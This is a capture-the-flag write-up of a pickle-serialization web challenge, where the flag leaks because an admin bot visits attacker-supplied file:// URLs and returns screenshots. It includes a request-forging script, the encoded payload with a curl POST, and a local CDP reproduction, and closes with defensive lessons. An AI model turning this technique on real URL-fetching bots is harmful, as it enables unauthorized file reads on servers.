GPN CTF 2026 — Secure Secretpickle Writeup

Pickle RCE is sandboxed and the client HTML is sanitized, so the flag comes from the admin bot instead: it visits any URL you hand it, including file:///flag.txt, and returns the screenshot.

4 min read
ibrahimsql
789 words

GPN CTF 2026 — Secure Secretpickle

A restaurant-themed demo built on a homemade "encrypted" serialization format. The author took the classic untrusted-pickle footgun and wrapped it in two defenses that are meant to look bulletproof. They hold. The flag still leaks — because the admin bot will happily visit file:///flag.txt and hand you back the screenshot.

Scope: local reproduction only. The challenge source is public in the CTF archive; nothing external was touched.

1. Source review

The format is Python pickle with a cosmetic layer. The "encryption" is a repeating XOR with a key that is a literal in the source — and the same file is served to the browser, so the key is not a secret:

# secretpickle.py
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")  # "128 random bits"

secretpickle_dump = pickle.dumps minus the constant dict header, XOR, base64. secretpickle_load reverses it and calls a decoder. Whoever controls the bytes controls the pickle — on both sides of the wire.

The server is a single FastAPI endpoint:

Python
# server.py
@app.post("/{b64:path}")
async def secretpickle_handle(request: Request, b64: str):
    pl = secretpickle_load(b64, decoder=safe_pickle_load)   # sandboxed unpickler
    action = pl.get("action", pl.get("a"))
    params = pl.get("params", pl.get("p", {}))
    res = await action_handler(action, params, pl)
    return secretpickle_dump(res)

And the sandbox, safe_loader.py, runs the unpickle in a child process that may only write:

Python
# safe_loader.py
f = seccomp.SyscallFilter(seccomp.KILL)
f.add_rule(seccomp.ALLOW, "write")
f.load()
data = pickle.loads(raw)
print(json.dumps(data), flush=True)          # flattened to plain JSON

The bot registers and logs in as admin with the flag as the password, then visits whatever URL you sent:

Python
# adminbot.py — visit()
await page.goto(action_url("register", username="admin", password=FLAG))
await page.goto(action_url("login", username="admin", password=FLAG))
await page.goto(action_url("whoami"))
await page.goto(url)          # <-- attacker-controlled, no scheme check
screenshot = await page.screenshot(full_page=True)
return screenshot

2. Why the two loud paths are closed

  • Server-side pickle RCE. The seccomp filter is KILL for every syscall except write. openat, execve, fork and socket are killed outright, so no __reduce__ gadget can read a file or spawn a shell. Even if one returned, json.dumps flattens the object to plain JSON before the parent sees it.
  • Client-side pickle RCE. The browser's secretpickle_load does use the default pickle.loads (Pyodide, no sandbox). But the response bytes are never attacker-controlled: the server only ever dumps a dict built from values you reflected, and a reflected string is data, not a gadget.
  • DOM XSS. The client passes every server-rendered result through DOMPurify.sanitize with the default configuration before document.write, so reflected markup does not become script.

3. The bug: the bot trusts the URL scheme

The adminbot action needs no login and forwards your URL verbatim:

# server.py — action == "adminbot"
url = base64.b64decode(params["url"]).decode()
adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}"

The bot then calls await page.goto(url) with no allowlist. Chromium renders file:// URLs, so file:///flag.txt loads the bot host's own flag file as a page. The screenshot — and, in the bot's stdout, page.content() — come straight back. The flag never needs an RCE or an XSS: the browser on the bot host reads it for you.

4. Forging the request

The published secretpickle.py is enough to build the blob. Set action=adminbot and params.url to the base64 of the file URL:

Python
import base64
from secretpickle import secretpickle_dump
 
target = "file:///flag.txt"
payload = {"action": "adminbot", "params": {"url": base64.b64encode(target.encode()).decode()}}
print(secretpickle_dump(payload))

That prints the blob sent to the server as a single POST path segment:

+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ==
curl -s -X POST 'http://APP/+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ=='

The server builds and fetches:

http://BOT:3000/visit?url=file:///flag.txt

5. Local reproduction

With no live instance, I reproduced the exact tail of visit() — page.goto(user_url) plus a screenshot — with headless Chrome over CDP, aimed at a local stand-in file:

cmd("Page.navigate", {"url": "file:///tmp/gpn-secretpickle/repro/flag.txt"})
print(cmd("Runtime.evaluate", {"expression": "document.body.innerText", "returnByValue": True}))
shot = cmd("Page.captureScreenshot", {"format": "png"})   # -> flag.png

Output:

goto(url): file:///tmp/gpn-secretpickle/repro/flag.txt
adminbot page content: GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}
screenshot bytes: 6217 -> /tmp/gpn-secretpickle/repro/flag.png

The PNG is 756×469 and contains the flag text. On the real instance the only difference is the path: the bot host's flag is /flag.txt, and the same page.goto reads it.

6. Flag and lessons

Local stand-in flag, read the same way the real one is:

GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}

Lessons:

  • A "visit this URL for me" feature is a URL fetcher, and a URL fetcher is an attack surface. Allowlist schemes (https: only) and reject file:, gopher:, data:, javascript:.
  • Returning a screenshot converts blind SSRF into a read primitive. If the bot can render it, you can read it.
  • The hard-looking defenses were real. Sandboxing the unpickler and sanitizing the DOM closed the obvious bugs — and the flag leaked through a third door that had nothing to do with either.
---
Share this post:

What do you think?

React to show your appreciation

Related Posts